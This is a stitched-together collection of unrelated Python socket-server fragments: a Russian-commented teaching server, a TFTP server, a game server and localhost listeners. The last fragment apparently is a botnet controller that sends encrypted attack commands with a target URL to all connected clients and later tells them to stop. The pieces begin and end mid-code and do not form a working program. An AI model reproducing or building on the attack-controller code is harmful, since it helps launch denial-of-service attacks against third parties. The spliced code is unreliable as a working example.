def lesson_2(): # !адрес сервера и порт SERVER_ADDRESS = ("", 56009) # !создаем сервер server = socket.socket() # !привязка сервера к адресу server.bind(SERVER_ADDRESS) # !определяем максимальное количество клиентов для одновременного пользования сервером server.listen(1) # !цикл ожидания подключения while True: # !информация полученая от клиента приоброзована к переменным a, b = server.accept() # !получение данных с полученной информации с указанием кол-ва байт информации from_user = a.recv(4096) print("Получено от пользователя:", from_user) # !обработка полученных данных if from_user.decode("utf-8") == "stop": print("Сервер остановлен") break # !проверка является ли строка от пользователя числом if from_user.decode("utf-8").isdigit(): for_user = bytes(f"{int(from_user.decode('utf-8')) * 10}", encoding="utf-8") else: for_user = bytes(f"{from_user.decode('utf-8')} не число", encoding="utf-8") # !отправка ответа клиенту a.send(for_user) # !отключение клиента от сервера (рассоеденение) a.close()
def _tftp_server(): thread = threading.currentThread() while getattr(thread, "running", True): try: server = tftpy.TftpServer(getattr(thread, "path", '.')) server.listen('0.0.0.0', 69) except KeyboardInterrupt: break
def data_server_listen(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 1234)) server.listen() while True: client_socket, address = server.accept() handle_data_socket(client_socket, address)
def run(self): print("Internet Socket Server started on: [{}]".format(hostname)) print("LOCAL IP address = {}".format(local_ip)) print("Waiting for clients on port {}...".format(common.server_port)) while True: server.listen(1) socket, clientAddress = server.accept() # Allocate and start a new Thread to communicate with # the new Internet Game Client. GameServerSocketThread(clientAddress, socket).start()
import socketserver # output queue sending from 127.0.0.1:8080 queue_out = queue.Queue() queue_out_list = [] # input queue received towards 127.0.0.1:8080 queue_in = queue.Queue() # Server address to listen for laptop HOST = '' PORT = 8080 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST, PORT = "localhost", 8080 server.bind((HOST, PORT)) server.listen() # Process to socket on 127.0.0.1 8080 for laptop connections def process(): global server global conn global queue_in global queue_out global queue_out_list inputs = [ server, ] outputs = [] s_to_addr = {}
def start_tcp_server(): # server.bind(('172.16.16.168', 50001)) #server ip server.bind(('127.0.0.1', 50001)) # test ip server.listen()
print(url) type = type.replace(" ", "") print(type) for i in range(len(self.connected)): self.connected[i].send(self.keys[i].encrypt( ("%$Att " + type + " " + url).encode())) except Exception as e: print(e) def stopattack(self): for i in range(len(self.connected)): self.connected[i].send(self.keys[i].encrypt( ("%$StopAtt").encode())) open("IP.txt", 'w') ip = "0.0.0.0" port = 80 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 36983)) server.listen(1) x = Server(ip, port, server) th = threading.Thread(target=x.updateAlive) th.start() while True: client, ip = server.accept() threading.Thread(target=x.onConnect, args=[client, ip]).start()